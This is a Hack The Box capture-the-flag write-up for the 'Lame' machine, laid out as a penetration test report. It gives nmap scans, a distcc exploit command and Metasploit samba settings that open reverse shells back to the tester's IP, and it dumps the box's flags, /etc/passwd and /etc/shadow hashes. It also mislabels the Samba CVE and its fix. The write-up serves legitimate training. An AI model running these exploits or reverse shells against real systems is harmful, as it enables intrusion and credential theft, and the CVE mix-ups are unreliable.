
Hack The Box: Lame Report

Box Report

gndpwnd

2022-3-15

Contents

1	Hack The Box: Lame Report	1
2	Methodologies	2
2.1	Information Gathering	2
2.2	Penetration	2
2.2.1	System IP: 10.10.10.3	2
2.2.1.1	Service Enumeration	2
2.2.1.2	Initial Access	4
2.2.1.3	Privilege Escalation	5
2.3	Maintaining Access	8
2.4	House Cleaning	8
3	Appendix - Additional Items	9
3.1	Appendix - Proof and Local Contents:	9
3.2	Appendix - /etc/passwd contents	9
3.3	Appendix - /etc/shadow contents	10

1 Hack The Box: Lame Report

2 Methodologies

I utilized a widely adopted approach to performing penetration testing that is effective in testing how well the Lame machine is secured. Below is a breakout of how I was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

2.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, I was tasked with exploiting the Lame machine.

The specific IP address was:

- 10.10.10.3

2.2 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, I was able to successfully gain access to the Lame machine.

2.2.1 System IP: 10.10.10.3

2.2.1.1 Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

Server IP Address	Ports Open
10.10.10.3	TCP: 21,22,139,445,3632

Nmap Scan Results:

Command to run:

```
nmap -vvv -Pn -p 21,22,139,445,3632 -sC -sV -oN /HTB-boxes/lame/recon/nmap_all_tcp.md  
→ 10.10.10.3
```

Output:

```
...  
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp open  netbios-ssn syn-ack Samba smbd 3.0.20-Debian (workgroup:  
...  
| smb-os-discovery:  
| OS: Unix (Samba 3.0.20-Debian)  
| Computer name: lame  
| NetBIOS computer name:  
| Domain name: hackthebox.gr  
| FQDN: lame.hackthebox.gr  
...
```

Command to run:

```
nmap -vvv -Pn -p 21,22,139,445,3632 --script vuln -oN /HTB-boxes/lame/recon/nmap_all_vuln.md
```

Output:

```
...  
3632/tcp open  distccd      syn-ack  
| distcc-cve2004-2687:  
| VULNERABLE:  
| distcc Daemon Command Execution  
| State: VULNERABLE (Exploitable)
```

```
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://distcc.github.io/security.html
| _ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
|
| ...
```

2.2.1.2 Initial Access

Vulnerability Exploited:

Arbitrary Code Execution

Vulnerability Explanation:

distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.

Reference: <https://www.cvedetails.com/cve/CVE-2004-2687/>

Vulnerability Fix:

Update to the latest samba version.

Severity: Critical

Exploit Code:

Reference: <https://github.com/k4miyo/CVE-2004-2687/blob/k4miyo/CVE-2004-2687.py>

Changes to the exploit code were not made.

Run the following command (change lport and lhost as needed):

```
python3 CVE-2004-2687.py --rhost 10.10.10.3 --rport 3632 --lhost 10.10.14.12 --lport 4321
```

Output:

```
$ python3 CVE-2004-2687.py --rhost 10.10.10.3 --rport 3632 --lhost 10.10.14.12 --lport 4321
[+] Payload: Payload generated!
[+] Execution: DistCC Daemon exploited with success!
[+] Opening connection to 10.10.10.3 on port 3632: Done
[+] Trying to bind to :: on port 4321: Done
[+] Waiting for connections on :::4321: Got connection from ::ffff:10.10.10.3 on port 52262
[+] Connection: Established connection
[*] Switching to interactive mode
$
```

Figure 2.1: output

2.2.1.3 Privilege Escalation

Vulnerability Exploited:

Multiple Heap Overflows Allow Remote Code Execution

Vulnerability Explanation:

Multiple heap-based buffer overflows in the NDR parsing in smbd in Samba 3.0.0 through 3.0.25rc3 allow remote attackers to execute arbitrary code via crafted MS-RPC requests involving (1) DFSEnum (netdfs_io_dfs_EnumInfo_d), (2) RFNPNEX (smb_io_notify_option_type_data), (3) LsarAddPrivilegesToAccount (lsa_io_privilege_set), (4) NetSetFileSecurity (sec_io_acl), or (5) LsarLookupSids/LsarLookupSids2 (lsa_io_trans_names).

Reference: <https://www.cvedetails.com/cve/CVE-2007-2446/>

Vulnerability Fix:

A patch against Samba 3.0.24 has been posted at <http://www.samba.org/samba/security/>

Reference: <https://www.samba.org/samba/security/CVE-2007-2446.html>

Severity: Critical

Exploit Code:

Reference: <https://www.exploit-db.com/exploits/16859> EDB-ID: 16859 CVE-2007-2446

Searching for exploit code:

```
searchsploit samba 3.0
```

Output:

```
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' | linux/remote/16859.rb
```

Metasploit Console Setup:

```
search samba 3.0
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
```

```
msf6 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    10.10.10.3      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     10.10.14.12      yes       The listen address (an interface may be specified)
  LPORT     4444              yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic
```

Figure 2.2: msfconsole options

Local.txt Proof Screenshot


```
whoami
makis
ip a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:50:56:b9:d0:4d brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.3/24 brd 10.10.10.255 scope global eth0
    inet6 dead:beef::250:56ff:feb9:d04d/64 scope global dynamic
        valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb9:d04d/64 scope link
        valid_lft forever preferred_lft forever
cat /home/makis/user.txt
6930678d63aafcfa5ba62d0a8720308
```

Figure 2.3: local.txt screenshot

Local.txt Contents

```
6930678d63aafcfa5ba62d0a8720308
```

Proof Screenshot Here:

```
whoami
root
ip a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:50:56:b9:d0:4d brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.3/24 brd 10.10.10.255 scope global eth0
    inet6 dead:beef::250:56ff:feb9:d04d/64 scope global dynamic
        valid_lft 86395sec preferred_lft 14395sec
    inet6 fe80::250:56ff:feb9:d04d/64 scope link
        valid_lft forever preferred_lft forever
cat /root/root.txt
23b1ce7d0f61a6d37f4185da0fa45920
```

Figure 2.4: proof.txt screenshot

Proof.txt Contents:

```
23b1ce7d0f61a6d37f4185da0fa45920
```

2.3 Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

2.4 House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organization's computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After collecting trophies from the Lame machine was completed, I removed all user accounts, passwords, and malicious codes used during the penetration test. Hack the box should not have to remove any user accounts or services from the system.

3 Appendix - Additional Items

3.1 Appendix - Proof and Local Contents:

IP (Hostname)	Local.txt Contents	Proof.txt Contents
10.10.10.3	6930678d63aafcfaf5ba62d0a8720308 23b1ce7d0f61a6d37f4185da0fa45920	

3.2 Appendix - /etc/passwd contents

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
```

```
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
service:x:1002:1002::,/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
makis:x:1003:1003::/home/makis:/bin/sh
```

3.3 Appendix - /etc/shadow contents

```
root:$1$p/d3CvVJ$4HDjev4SjFo7VMwL2Zg6P0:17239:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$NsRwcGHL$euHtoVjd59CxMcIasiTw/.:17239:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$dwLrUikz$LRJRShCPfPyYb3r6pinyM.:17239:0:99999:7:::
mysql!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
service:$1$cwdqim5m$bw71JTFHNWLjDTmYTN9j/:17239:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
snmp:*:15480:0:99999:7:::
makis:$1$Yp7BAV10$7yHWur1KMMwK5b8KRZ2yK.:17239:0:99999:7:::
```